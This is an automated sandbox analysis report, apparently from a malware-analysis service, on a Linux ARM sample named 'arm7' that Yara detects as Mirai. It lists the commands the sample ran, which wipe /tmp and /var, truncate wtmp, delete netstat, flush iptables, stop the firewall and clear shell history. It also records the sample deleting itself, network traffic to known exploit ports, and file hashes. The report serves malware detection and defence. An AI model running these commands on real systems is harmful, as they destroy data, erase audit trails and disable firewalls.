Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/243/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/123/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/123/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/2/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/2/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/124/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/124/cmdline	Jump to behavior

Creates hidden files and/or directories

Source: /usr/bin/whoopsie (PID: 5355)

Directory: /nonexistent/.cache

Jump to behavior

Executes the "iptables" command used for managing IP filtering and manipulation

Source: /bin/sh (PID: 5310)	Iptables executable: /sbin/iptables -> /sbin/iptables -F			Jump to behavior
Source: /bin/sh (PID: 5311)	Iptables executable: /sbin/iptables -> /sbin/iptables -X			Jump to behavior

Sample tries to set the executable flag

Source: /usr/bin/whoopsie (PID: 5355)	File: /var/crash (bits: gv usr: rwx grp: rwx all: rwx)	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5500)	File: /var/run/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5500)	File: /var/log/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5579)	File: /var/run/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5579)	File: /var/log/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior

Executes commands using a shell command-line interpreter

Source: /tmp/arm7 (PID: 5255)	Shell command executed: /bin/sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"	Jump to behavior
Source: /tmp/arm7 (PID: 5262)	Shell command executed: /bin/sh -c "rm -rf /var/log/wtmp"	Jump to behavior
Source: /tmp/arm7 (PID: 5269)	Shell command executed: /bin/sh -c "rm -rf /tmp/*"	Jump to behavior
Source: /tmp/arm7 (PID: 5272)	Shell command executed: /bin/sh -c "rm -rf /bin/netstat"	Jump to behavior
Source: /tmp/arm7 (PID: 5275)	Shell command executed: /bin/sh -c "iptables -F"	Jump to behavior
Source: /tmp/arm7 (PID: 5281)	Shell command executed: /bin/sh -c "pkill -9 busybox"	Jump to behavior
Source: /tmp/arm7 (PID: 5287)	Shell command executed: /bin/sh -c "pkill -9 perl"	Jump to behavior
Source: /tmp/arm7 (PID: 5292)	Shell command executed: /bin/sh -c "pkill -9 python"	Jump to behavior
Source: /tmp/arm7 (PID: 5295)	Shell command executed: /bin/sh -c "service iptables stop"	Jump to behavior
Source: /tmp/arm7 (PID: 5308)	Shell command executed: /bin/sh -c "/sbin/iptables -F; /sbin/iptables -X"	Jump to behavior
Source: /tmp/arm7 (PID: 5312)	Shell command executed: /bin/sh -c "service firewalld stop"	Jump to behavior
Source: /tmp/arm7 (PID: 5323)	Shell command executed: /bin/sh -c "rm -rf ~/.bash_history"	Jump to behavior
Source: /tmp/arm7 (PID: 5326)	Shell command executed: /bin/sh -c "history -c"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5429)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5431)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5433)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5435)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5437)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5439)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5441)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5443)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5551)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5553)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5555)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5557)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5559)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5561)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5563)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5565)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior

Executes the "rm" command used to delete files or directories

Source: /bin/sh (PID: 5257)	Rm executable: /usr/bin/rm -> rm -rf /tmp/arm7 /tmp/config-err-dHT8bZ /tmp/dmesgtail.log /tmp/snap.lxd /tmp/ssh-hOQ5FjG2iVgO /tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-ModemManager.service-c4RYFi /tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-colord.service-gKIF8e /tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-fwupd.service-gB0a9f /tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-switcheroo-control.service-APWnLg /tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-systemd-logind.service-IofUpj /tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-systemd-resolved.service-AfPZzg /tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-upower.service-x0xO0i /tmp/vmware-root_721-4290559889 /var/backups /var/cache /var/crash /var/lib /var/local /var/lock /var/log /var/mail /var/metrics /var/opt /var/run /var/snap /var/spool /var/tmp /var/run/NetworkManager /var/run/acpid.pid /var/run/acpid.socket /var/run/apport.lock /var/run/avahi-daemon /var/run/blkid /var/run/cloud-init /var/run/console-setup /var/run/crond.pid /var/run/crond.reboot /var/run/cryptsetup /var/run/cups /var/run/dbus /var/run/dmeventd-client /var/run/dmeventd-server /var/run/gdm3 /var/run/gdm3.pid /var/run/initctl /var/run/initramfs /var/run/irqbalance /var/run/lock /var/run/log /var/run/lvm /var/run/mlocate.daily.lock /var/run/mono-xsp4 /var/run/mono-xsp4.pid /var/run/motd.d /var/run/mount /var/run/multipathd.pid /var/run/netns /var/run/network /var/run/screen /var/run/sendsigs.omit.d /var/run/shm /var/run/snapd /var/run/snapd-snap.socket /var/run/snapd.socket /var/run/speech-dispatcher /var/run/spice-vdagentd /var/run/sshd /var/run/sshd.pid /var/run/sudo /var/run/systemd /var/run/tmpfiles.d /var/run/udev /var/run/udisks2 /var/run/unattended-upgrades.lock /var/run/user /var/run/utmp /var/run/uuidd /var/run/vmware /var/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-ModemManager.service-J6Q1Te /var/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-colord.service-srP90f /var/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-fwupd.service-biJ0Gi /var/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-switcheroo-control.service-1jIxdj /var/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-systemd-logind.service-llmWag /var/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-systemd-resolved.service-X16eHh /var/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-upower.service-GpSnaf	Jump to behavior
Source: /bin/sh (PID: 5268)	Rm executable: /usr/bin/rm -> rm -rf /var/log/wtmp	Jump to behavior
Source: /bin/sh (PID: 5271)	Rm executable: /usr/bin/rm -> rm -rf /tmp/*	Jump to behavior
Source: /bin/sh (PID: 5274)	Rm executable: /usr/bin/rm -> rm -rf /bin/netstat	Jump to behavior
Source: /bin/sh (PID: 5325)	Rm executable: /usr/bin/rm -> rm -rf /root/.bash_history	Jump to behavior

Source: /usr/bin/gpu-manager (PID: 5550)

Log file created: /var/log/gpu-manager.log

Jump to dropped file

Source: /usr/sbin/service (PID: 5304)	Sed executable: /usr/bin/sed -> sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p			Jump to behavior
Source: /usr/sbin/service (PID: 5320)	Sed executable: /usr/bin/sed -> sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Sample deletes itself

Source: /usr/bin/rm (PID: 5257)

File: /tmp/arm7

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41418 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33754 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40188
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40202
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40220
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40240
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40256
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40268
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40272
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40276
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40288
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40304
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40326
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40334
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40344
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40354
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40360
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40370
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40376
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40378
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40392
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40422
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40458
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40478
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40486
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40496
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40502
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40506
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40522
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40530
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43156 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 59190
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56526
Source: unknown	Network traffic detected: HTTP traffic on port 37348 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56542
Source: unknown	Network traffic detected: HTTP traffic on port 51328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56554
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56570
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56582
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56594
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56612
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56622
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56628
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869

Malware Analysis System Evasion:

Deletes security-related log files

Source: /usr/bin/rm (PID: 5268)

Truncated file: /var/log/wtmp

Jump to behavior

Reads CPU information from /sys indicative of miner or evasive malware

Source: /usr/bin/pkill (PID: 5284)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5289)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pulseaudio (PID: 5403)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5446)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5568)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /tmp/arm7 (PID: 5234)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/whoopsie (PID: 5355)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/pulseaudio (PID: 5403)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5428)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5550)	Queries kernel information via 'uname':	Jump to behavior

Deletes log files

Source: /usr/bin/rm (PID: 5268)	Truncated file: /var/log/wtmp	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5428)	Truncated file: /var/log/gpu-manager.log	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5550)	Truncated file: /var/log/gpu-manager.log	Jump to behavior

Source: arm7, 5249.1.0000000033ce1296.00000000702d846d.rw-.sdmp	Binary or memory string: !/proc/1594/exe0!/usr/bin/vmtoolsd1P
Source: arm7, 5249.1.0000000033ce1296.00000000702d846d.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: arm7, 5234.1.0000000033ce1296.00000000702d846d.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7, 5234.1.000000002e60d099.00000000e478edd3.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm7, 5234.1.0000000033ce1296.00000000702d846d.rw-.sdmp	Binary or memory string: +V!/etc/qemu-binfmt/arm
Source: arm7, 5234.1.000000002e60d099.00000000e478edd3.rw-.sdmp	Binary or memory string: G{x86_64/usr/bin/qemu-arm/tmp/arm7SUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7

Stealing of Sensitive Information:

Yara detected Mirai

Source: Yara match	File source: 5241.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5234.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5249.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5236.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5237.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5245.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5251.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5253.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5239.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5240.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality:

Yara detected Mirai

Source: Yara match	File source: 5241.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5234.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5249.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5236.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5237.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5245.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5251.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5253.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5239.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5240.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

ID:	519695
Product:	CloudBasic
Start time:	03:07:26
Start date:	11.11.2021
Sample:	arm7
Cookbook:	defaultlinuxfilecookbook.jbs
System description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Architecture:	LINUX
MD5:	9fc0975479e319f970c96eded3c2d001
SHA1:	ff77399d8fb757636a3eae4909dbc33f4a00f09e
SHA256:	f0c7eb51c588fa50e39bee022ea2c4f602842012b01f2ee025b91eb5eb50782f
Filetype:	ELF Executable and Linkable format (generic) (4004/1) 100.00%

Name	Type	MD5	SHA1	SHA256
/home/saturnino/.config/pulse/ee49dfd4fa47433baee88884e2d7de7c-default-sink	ASCII text	FF001A15CE15CF062A3704CEA2991B5F	B06F6855F376C3245B82212AC73ADED55DFE5DEF	C54830B41ECFA1B6FBDC30397188DDA86B7B200E62AEAC21AE694A6192DCC38A
/home/saturnino/.config/pulse/ee49dfd4fa47433baee88884e2d7de7c-default-source	ASCII text	28FE6435F34B3367707BB1C5D5F6B430	EB8FE2D16BD6BBCCE106C94E4D284543B2573CF6	721A37C69E555799B41D308849E8F8125441883AB021B723FED90A9B744F36C0
/proc/5365/oom_score_adj	ASCII text	CBF282CC55ED0792C33D10003D1F760A	007DD8BD75468E6B7ABA4285E9B267202C7EAEED	FCDBAB99FCC0F4409E5F9D7D6FC497780288B4C441698126BB62832412774D22
